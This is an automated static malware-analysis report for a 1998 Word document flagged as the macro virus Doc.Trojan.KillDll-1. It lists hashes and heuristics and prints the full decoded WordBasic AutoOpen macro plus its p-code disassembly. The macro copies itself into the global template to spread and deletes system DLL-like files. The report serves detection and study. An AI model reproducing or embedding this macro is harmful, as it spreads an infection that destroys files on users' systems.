Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 78fead88c5962049…

MALICIOUS

Office (OLE)

26.5 KB Created: 1998-01-26 08:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bb51a52d4c931407c2ae342257aa0883 SHA-1: c4183252ef8a0feb2e14810f5a5a4aca0f41724d SHA-256: 78fead88c5962049c89bef336f22efc0b32246fb3391a201277f5bcb276909db
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro that attempts to copy itself to the global template and delete files from the system directory. This behavior is indicative of a macro-based malware dropper. The ClamAV detection 'Doc.Trojan.KillDll-1' further supports this assessment, suggesting a payload designed to interfere with system files.

Heuristics 4

  • ClamAV: Doc.Trojan.KillDll-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.KillDll-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2472 bytes
SHA-256: 1c9e4d75b93e3ff13763483960fd04d3083f7201e20bc2bf2a4fbe8b6b4692f2
Detection
ClamAV: Doc.Trojan.KillDll-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim source$
Dim target$
Dim fname$
Dim del$
    source$ = WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)) + ":AutoOpen"
    target$ = WordBasic.[FileName$]() + ":AutoOpen"
    fname$ = WordBasic.[FileName$]()
    WordBasic.FileSaveAs Name:=fname$, Format:=1
    If (InStr(UCase(source$), "NORMAL.DOT") = 0) Then
            WordBasic.MacroCopy source$, "Global:AutoOpen"
    Else
            WordBasic.MacroCopy "Global:AutoOpen", target$
    End If
    del$ = WordBasic.[Files$]("C:\WINDOWS\SYSTEM\*.D??")
    WordBasic.Kill del$
End Sub

' Processing file: /opt/analyzer/scan_staging/afa8976af6064d59bd9ddb2d719cdcd9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1738 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn source
' Line #3:
' 	Dim 
' 	VarDefn target
' Line #4:
' 	Dim 
' 	VarDefn fname
' Line #5:
' 	Dim 
' 	VarDefn del
' Line #6:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0001 
' 	LitStr 0x0009 ":aUToOpEn"
' 	Add 
' 	St source$ 
' Line #7:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":aUToOpEn"
' 	Add 
' 	St target$ 
' Line #8:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St fname$ 
' Line #9:
' 	Ld fname$ 
' 	ParamNamed New 
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0002 
' Line #10:
' 	Ld source$ 
' 	ArgsLd UCase 0x0001 
' 	LitStr 0x000A "NORMAL.DOT"
' 	FnInStr 
' 	LitDI2 0x0000 
' 	Eq 
' 	Paren 
' 	IfBlock 
' Line #11:
' 	Ld source$ 
' 	LitStr 0x000F "Global:aUToOpEn"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #12:
' 	ElseBlock 
' Line #13:
' 	LitStr 0x000F "Global:aUToOpEn"
' 	Ld target$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitStr 0x0017 "C:\WINDOWS\SYSTEM\*.D??"
' 	Ld WordBasic 
' 	ArgsMemLd [Files$] 0x0001 
' 	St del$ 
' Line #16:
' 	Ld del$ 
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #17:
' 	EndSub

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